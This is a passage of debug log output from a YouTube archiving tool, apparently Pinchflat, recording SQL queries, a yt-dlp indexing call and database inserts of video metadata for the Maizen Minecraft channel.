"https://www.youtube.com/watch?v=5bH1T7ZwmjA", 17, "/downloads/shows/Maizen/Season 2026/s2026e051300 - MUTANT Speedrunners VS Hunter in Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-05-13 03:45:03Z], ~U[2026-08-20 01:04:56Z], ~U[2026-08-20 01:04:56Z], "Today, we're playing Speedrunner vs Hunter, with a twist! JJ can morph into all sorts of different mobs, awesome! Over time, JJ will unlock new mobs to transform into, what kinds of useful mobs will JJ turn into?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "MUTANT Speedrunners VS Hunter in Minecraft", "5bH1T7ZwmjA", 955, false, "https://www.youtube.com/watch?v=5bH1T7ZwmjA", "/downloads/shows/Maizen/Season 2026/s2026e051300 - MUTANT Speedrunners VS Hunter in Minecraft.mp4", false, 2, ~U[2026-05-13 03:45:03Z]] 18:04:56.706 [debug] QUERY OK source="sources" db=0.1ms idle=18.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:04:56.706 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:04:56.706 [debug] QUERY OK source="media_items" db=0.1ms idle=4.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [69843] 18:04:56.707 [debug] Current batch of media processed. Will check again in 1000ms 18:04:57.394 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@maizenofficial --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/shows/Maizen/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/a3/c6/a3c69534773d907d5023dea80ed90003d4272151500be0bd50293b44086f231b.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/8f/11/8f119e49cfc4b319870c100b314c0d9079e06810ae54552221ae57d92cc3cd80.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 101 with: 18:04:57.394 [debug] Gracefully stopping file follower 18:04:57.395 [debug] QUERY OK source="sources" db=0.4ms idle=691.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:04:57.395 [debug] QUERY OK source="sources" db=0.1ms idle=689.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:04:57.397 [debug] QUERY OK source="media_items" db=1.3ms idle=689.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-18 09:00:12Z], 2] 18:04:57.398 [debug] QUERY OK source="media_items" db=0.6ms idle=691.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing a game where we can eat anything! Yummy! Everything we eat makes us grow, and the bigger we get, the more powerful we become! Let's eat the entire world!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Why JJ And Mikey Ate ENTIRE World?", "f4691912-8ba7-4c35-bb84-92971a8c6ee3", "2-aPfodzXeE", 976, false, "https://www.youtube.com/watch?v=2-aPfodzXeE", 1, "/downloads/shows/Maizen/Season 2026/s2026e081800 - Why JJ And Mikey Ate ENTIRE World?.mp4", false, false, false, 2, [], 98, ~U[2026-08-18 09:00:12Z], ~U[2026-08-20 01:04:57Z], ~U[2026-08-20 01:04:57Z], "Today, we're playing a game where we can eat anything! Yummy! Everything we eat makes us grow, and the bigger we get, the more powerful we become! Let's eat the entire world!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Why JJ And Mikey Ate ENTIRE World?", "2-aPfodzXeE", 976, false, "https://www.youtube.com/watch?v=2-aPfodzXeE", "/downloads/shows/Maizen/Season 2026/s2026e081800 - Why JJ And Mikey Ate ENTIRE World?.mp4", false, 2, ~U[2026-08-18 09:00:12Z]] 18:04:57.398 [debug] QUERY OK source="sources" db=0.1ms idle=691.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:04:57.400 [debug] QUERY OK source="media_items" db=1.3ms idle=3.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-16 04:00:11Z], 2] 18:04:57.401 [debug] QUERY OK source="media_items" db=0.5ms idle=4.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Mikey's planning a prank to blow up JJ's house, but JJ caught on just in time! Now it's up to JJ to turn Mikey's prank against him in an epic reverse-prank! Will Mikey catch on before it's too late?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Mikey BLEW UP His OWN CASTLE! in Minecraft!!", "76131ee5-9808-41be-bc44-e7270fd50775", "SYBhOxduPUg", 1231, false, "https://www.youtube.com/watch?v=SYBhOxduPUg", 2, "/downloads/shows/Maizen/Season 2026/s2026e081600 - Mikey BLEW UP His OWN CASTLE! in Minecraft!!.mp4", false, false, false, 2, [], 98, ~U[2026-08-16 04:00:11Z], ~U[2026-08-20 01:04:57Z], ~U[2026-08-20 01:04:57Z], "Today, Mikey's planning a prank to blow up JJ's house, but JJ caught on just in time! Now it's up to JJ to turn Mikey's prank against him in an epic reverse-prank! Will Mikey catch on before it's too late?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Mikey BLEW UP His OWN CASTLE! in Minecraft!!", "SYBhOxduPUg", 1231, false, "https://www.youtube.com/watch?v=SYBhOxduPUg", "/downloads/shows/Maizen/Season 2026/s2026e081600 - Mikey BLEW UP His OWN CASTLE! in Minecraft!!.mp4", false, 2, ~U[2026-08-16 04:00:11Z]] 18:04:57.401 [debug] QUERY OK source="sources" db=0.1ms idle=3.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:04:57.402 [debug] QUERY OK source="media_items" db=1.1ms idle=3.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-15 12:31:16Z], 2] 18:04:57.403 [debug] QUERY OK source="media_items" db=0.6ms idle=4.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing Build Your Base! 150 waves of powerful enemies will be coming to destroy our heart block, and it's up to us to build the most powerful security systems to keep them away! On the very last wave, a massive dragon awaits! Will we be able to take down the dragon and protect our heart blocks?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "BUILDING The SAFEST BASE to Survive in Roblox", "fb997e7c-6b39-4e4c-8aed-1d0fb34f60d2", "TEmV_KQkWXY", 1360, false, "https://www.youtube.com/watch?v=TEmV_KQkWXY", 3, "/downloads/shows/Maizen/Season 2026/s2026e081500 - BUILDING The SAFEST BASE to Survive in Roblox.mp4", false, false, false, 2, [], 98, ~U[2026-08-15 12:31:16Z], ~U[2026-08-20 01:04:57Z], ~U[2026-08-20 01:04:57Z], "Today, we're playing Build Your Base! 150 waves of powerful enemies will be coming to destroy our heart block, and it's up to us to build the most powerful security systems to keep them away! On the very last wave, a massive dragon awaits! Will we be able to take down the dragon and protect our heart blocks?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "BUILDING The SAFEST BASE to Survive in Roblox", "TEmV_KQkWXY", 1360, false, "https://www.youtube.com/watch?v=TEmV_KQkWXY", "/downloads/shows/Maizen/Season 2026/s2026e081500 - BUILDING The SAFEST BASE to Survive in Roblox.mp4", false, 2, ~U[2026-08-15 12:31:16Z]] 18:04:57.404 [debug] QUERY OK source="sources" db=0.2ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:04:57.405 [debug] QUERY OK source="media_items" db=1.1ms idle=3.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-23 03:28:21Z], 2] 18:04:57.406 [debug] QUERY OK source="media_items" db=0.5ms idle=4.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "JJ vs. Mikey", "1a83263e-4e8a-4e44-acf4-925db0050b37", "DmxYE_YOLQ8", 4713, false, "https://www.youtube.com/watch?v=DmxYE_YOLQ8", 4, "/downloads/shows/Maizen/Season 2026/s2026e072300 - JJ vs. Mikey.mp4", false, false, false, 2, [], 98, ~U[2026-07-23 03:28:21Z], ~U[2026-08-20 01:04:57Z], ~U[2026-08-20 01:04:57Z], "Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "JJ vs. Mikey", "DmxYE_YOLQ8", 4713, false, "https://www.youtube.com/watch?v=DmxYE_YOLQ8", "/downloads/shows/Maizen/Season 2026/s2026e072300 - JJ vs. Mikey.mp4", false, 2, ~U[2026-07-23 03:28:21Z]] 18:04:57.406 [debug] QUERY OK source="sources" db=0.2ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:04:57.408 [debug] QUERY OK source="media_items" db=1.2ms idle=3.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-10 07:31:34Z], 2] 18:04:57.409 [debug] QUERY OK source="media_items" db=0.4ms idle=4.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "PRISON ESCAPE in Minecraft", "4020cd62-9cf4-45dd-9646-699ea0a72fde", "jXiB2M0bZX8", 3658, false, "https://www.youtube.com/watch?v=jXiB2M0bZX8", 5, "/downloads/shows/Maizen/Season 2026/s2026e071000 - PRISON ESCAPE in Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-07-10 07:31:34Z], ~U[2026-08-20 01:04:57Z], ~U[2026-08-20 01:04:57Z], "Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "PRISON ESCAPE in Minecraft", "jXiB2M0bZX8", 3658, false, "https://www.youtube.com/watch?v=jXiB2M0bZX8", "/downloads/shows/Maizen/Season 2026/s2026e071000 - PRISON ESCAPE in Minecraft.mp4", false, 2, ~U[2026-07-10 07:31:34Z]] 18:04:57.409 [debug] QUERY OK source="sources" db=0.2ms idle=3.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:04:57.410 [debug] QUERY OK source="media_items" db=1.2ms idle=3.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-27 03:00:06Z], 2] 18:04:57.411 [debug] QUERY OK source="media_items" db=0.6ms idle=4.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, JJ and Mikey are on a mission to restore the Pro Doctor program! It won't be easy, they'll both have to face many dangerous threats standing in their way, but together they'll do whatever it takes!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "JJ IS DEAD : The Movie", "84818e75-9e7e-4b0a-8110-d78616a056fc", "2nxBCespd7c", 4704, false, "https://www.youtube.com/watch?v=2nxBCespd7c", 6, "/downloads/shows/Maizen/Season 2026/s2026e062700 - JJ IS DEAD : The Movie.mp4", false, false, false, 2, [], 98, ~U[2026-06-27 03:00:06Z], ~U[2026-08-20 01:04:57Z], ~U[2026-08-20 01:04:57Z], "Today, JJ and Mikey are on a mission to restore the Pro Doctor program! It won't be easy, they'll both have to face many dangerous threats standing in their way, but together they'll do whatever it takes!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "JJ IS DEAD : The Movie", "2nxBCespd7c", 4704, false, "https://www.youtube.com/watch?v=2nxBCespd7c", "/downloads/shows/Maizen/Season 2026/s2026e062700 - JJ IS DEAD : The Movie.mp4", false, 2, ~U[2026-06-27 03:00:06Z]] 18:04:57.412 [debug] QUERY OK source="sources" db=0.2ms idle=3.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:04:57.413 [debug] QUERY OK source="media_items" db=1.3ms idle=3.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-20 03:00:06Z], 2] 18:04:57.414 [debug] QUERY OK source="media_items" db=0.7ms idle=4.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Mikey is tasked with a very important, and very dangerous mission that only he can complete! It won't be easy, but the chairman is depending on him. Can Mikey rise to the challenge?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "MIKEY IS DEAD : The Movie", "06e10795-f5c7-4111-9015-a817c4b86b44", "a8EKAWT99Ys", 5211, false, "https://www.youtube.com/watch?v=a8EKAWT99Ys", 7, "/downloads/shows/Maizen/Season 2026/s2026e062000 - MIKEY IS DEAD : The Movie.mp4", false, false, false, 2, [], 98, ~U[2026-06-20 03:00:06Z], ~U[2026-08-20 01:04:57Z], ~U[2026-08-20 01:04:57Z], "Today, Mikey is tasked with a very important, and very dangerous mission that only he can complete! It won't be easy, but the chairman is depending on him. Can Mikey rise to the challenge?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "MIKEY IS DEAD : The Movie", "a8EKAWT99Ys", 5211, false, "https://www.youtube.com/watch?v=a8EKAWT99Ys", "/downloads/shows/Maizen/Season 2026/s2026e062000 - MIKEY IS DEAD : The Movie.mp4", false, 2, ~U[2026-06-20 03:00:06Z]] 18:04:57.415 [debug] QUERY OK source="sources" db=0.3ms idle=4.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:04:57.416 [debug] QUERY OK source="media_items" db=1.3ms idle=3.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-13 03:00:06Z], 2] 18:04:57.420 [debug] QUERY OK source="media_items" db=3.0ms idle=4.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, JJ and Mikey are preparing to take the Pro Doctor Exam! There's just one problem, the entry fee is one-million gold!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "THE WORLD's STRICTEST TEST: The Movie", "9761cc2b-90bc-4fe1-963b-1d69ba04fc7e", "3RR5Sbesx6s", 5542, false, "https://www.youtube.com/watch?v=3RR5Sbesx6s", 8, "/downloads/shows/Maizen/Season 2026/s2026e061300 - THE WORLD's STRICTEST TEST: The Movie.mp4", false, false, false, 2, [], 98, ~U[2026-06-13 03:00:06Z], ~U[2026-08-20 01:04:57Z], ~U[2026-08-20 01:04:57Z], "Today, JJ and Mikey are preparing to take the Pro Doctor Exam! There's just one problem, the entry fee is one-million gold!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "THE WORLD's STRICTEST TEST: The Movie", "3RR5Sbesx6s", 5542, false, "https://www.youtube.com/watch?v=3RR5Sbesx6s", "/downloads/shows/Maizen/Season 2026/s2026e061300 - THE WORLD's STRICTEST TEST: The Movie.mp4", false, 2, ~U[2026-06-13 03:00:06Z]] 18:04:57.420 [debug] QUERY OK source="sources" db=0.2ms idle=6.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:04:57.422 [debug] QUERY OK source="media_items" db=1.3ms idle=6.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-06 03:00:06Z], 2] 18:04:57.423 [debug] QUERY OK source="media_items" db=0.7ms idle=7.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Mikey's been sent to prison for a crime he didn't commit! Even worse, he's been sentenced to Infinity Prison, the highest security, most inescapable prison in the world! Now it's up to JJ to help get Mikey out, and clear his name! But not everything is at it seems here...\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "THE WORLD's HIGHEST SECURITY PRISON: The Movie", "8beff0d3-5a12-45b0-afa7-d67efa3a26b6", "9ZPbk2Unu8A", 5036, false, "https://www.youtube.com/watch?v=9ZPbk2Unu8A", 9, "/downloads/shows/Maizen/Season 